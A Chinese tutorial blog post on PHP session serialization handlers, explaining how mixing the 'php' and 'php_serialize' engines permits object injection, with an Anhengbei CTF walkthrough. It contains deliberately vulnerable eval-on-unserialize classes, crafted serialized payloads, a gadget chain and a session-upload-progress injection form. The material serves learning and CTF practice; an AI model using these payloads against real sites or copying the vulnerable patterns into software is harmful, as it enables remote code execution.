深入解析PHP中SESSION反序列化机制


Posted in PHP onMarch 01, 2017

简介

在php.ini中存在三项配置项:

  • session.save_path=""   --设置session的存储路径
  • session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

  • session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
  • session.save_handler=files     表明session是以文件的方式来进行存储的
  • session.auto_start=0    表明默认不启动session
  • session.serialize_handler=php     表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  1. php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  2. php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  3. php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');

示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

在默认配置情况下:

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:

深入解析PHP中SESSION反序列化机制

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock"; 。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";} 。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock"; 。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock"; 。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

序列化简单利用

test.php

<?php
class syclover{
 var $func="";
 function __construct() {
  $this->func = "phpinfo()";
 }
 function __wakeup(){
  eval($this->func);
 }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}

那么反序列化得到的内容是:

object(syclover)[1]
 public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。

这就是一个简单的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
 'a:1:{s:6:"spoock";s:24:"' => 
 object(__PHP_Incomplete_Class)[1]
 public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
 var $hi;
 function __construct(){
 $this->hi = 'phpinfo();';
 }
 
 function __destruct() {
  eval($this->hi);
 }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
 public $varr;
 function __construct(){
  $this->varr = "index.php";
 }
 function __destruct(){
  if(file_exists($this->varr)){
   echo "<br>文件".$this->varr."存在<br>";
  }
  echo "<br>这是foo1的析构函数<br>";
 }
}

class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = null;
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
 function __desctuct(){
  echo "<br>这是foo2的析构函数<br>";
 }
}

class foo3{
 public $varr;
 function execute(){
  eval($this->varr);
 }
 function __desctuct(){
  echo "<br>这是foo3的析构函数<br>";
 }
}

?>

index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:

myindex.php

<?php
class foo3{
 public $varr='echo "spoock";';
 function execute(){
  eval($this->varr);
 }
}
class foo2{
 public $varr;
 public $obj;
 function __construct(){
  $this->varr = '1234567890';
  $this->obj = new foo3();
 }
 function __toString(){
  $this->obj->execute();
  return $this->varr;
 }
}

class foo1{
 public $varr;
 function __construct(){
  $this->varr = new foo2();
 }
}


$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" />
</form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上|
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流。

PHP 相关文章推荐
用PHP实现多级树型菜单
Oct 09 PHP
用缓存实现静态页面的测试
Dec 06 PHP
php cli换行示例
Apr 22 PHP
laravel 5 实现模板主题功能
Mar 02 PHP
php命令行(cli)下执行PHP脚本文件的相对路径的问题解决方法
May 25 PHP
PHP正则表达式过滤html标签属性(DEMO)
May 04 PHP
Thinkphp自定义代码生成工具及用法说明(附下载地址)
May 27 PHP
apache php mysql开发环境安装教程
Jul 28 PHP
详解PHP归并排序的实现
Oct 18 PHP
探究Laravel使用env函数读取环境变量为null的问题
Dec 06 PHP
php脚本守护进程原理与实现方法详解
Jul 20 PHP
PHP-X系列教程之内置函数的使用示例
Oct 16 PHP
yii2使用GridView实现数据全选及批量删除按钮示例
Mar 01 #PHP
PHP插件PHPMailer发送邮件功能
Feb 28 #PHP
PHP利用正则表达式将相对路径转成绝对路径的方法示例
Feb 28 #PHP
PHP用正则匹配form表单中所有元素的类型和属性值实例代码
Feb 28 #PHP
PHP中让json_encode不自动转义斜杠“/”的方法
Feb 28 #PHP
PHP连接MYSQL数据库的3种常用方法
Feb 27 #PHP
php获取今日开始时间和结束时间的方法
Feb 27 #PHP
You might like
随时给自己贴的图片加文字的php水印
2007/03/16 PHP
php curl 伪造IP来源的实例代码
2012/11/01 PHP
php使用gettimeofday函数返回当前时间并存放在关联数组里
2015/03/19 PHP
非集成环境的php运行环境(Apache配置、Mysql)搭建安装图文教程
2016/04/12 PHP
PHP+ajax实现二级联动菜单功能示例
2018/08/10 PHP
用于table内容排序
2006/07/21 Javascript
动态的改变IFrame的高度实现IFrame自动伸展适应高度
2012/12/28 Javascript
JavaScript判断数组是否包含指定元素的方法
2015/07/01 Javascript
JS实现仿QQ效果的三级竖向菜单
2015/09/25 Javascript
基于js实现checkbox批量选中操作
2016/11/22 Javascript
微信公众平台开发教程(五)详解自定义菜单
2016/12/02 Javascript
ES6字符串模板,剩余参数,默认参数功能与用法示例
2017/04/06 Javascript
vue router的基本使用和配置教程
2018/11/05 Javascript
JointJS流程图的绘制方法
2018/12/03 Javascript
详解vue使用插槽分发内容slot的用法
2019/03/28 Javascript
Element DateTimePicker日期时间选择器的使用示例
2020/07/27 Javascript
[01:08]DOTA2次级职业联赛 - Shield战队宣传片
2014/12/01 DOTA
Python 判断 有向图 是否有环的实例讲解
2018/02/01 Python
pandas中去除指定字符的实例
2018/05/18 Python
python for循环输入一个矩阵的实例
2018/11/14 Python
Python 从相对路径下import的方法
2018/12/04 Python
python 在threading中如何处理主进程和子线程的关系
2020/04/25 Python
opencv 图像轮廓的实现示例
2020/07/08 Python
CSS3实现可关闭的下拉手风琴菜单效果
2015/08/31 HTML / CSS
茵宝(Umbro)英国官方商店:英国足球服装生产商
2016/12/29 全球购物
SQL Server提供的3种恢复模型都是什么? 有什么区别?
2012/05/13 面试题
大学生自荐信
2013/12/11 职场文书
宿舍标语大全
2014/06/19 职场文书
2014应届本科生自我评价
2014/09/13 职场文书
2014入党积极分子破除“四风”思想汇报
2014/09/14 职场文书
初中重阳节活动总结
2015/05/05 职场文书
2016年“12.3”国际残疾人日活动总结
2016/04/01 职场文书
Python自动化测试PO模型封装过程详解
2021/06/22 Python
动作冒险《Hell Is Us》将采用虚幻5 消灭怪物探索王国
2022/04/13 其他游戏
Java处理延时任务的常用几种解决方案
2022/06/01 Java/Android
redis lua限流算法实现示例
2022/07/15 Redis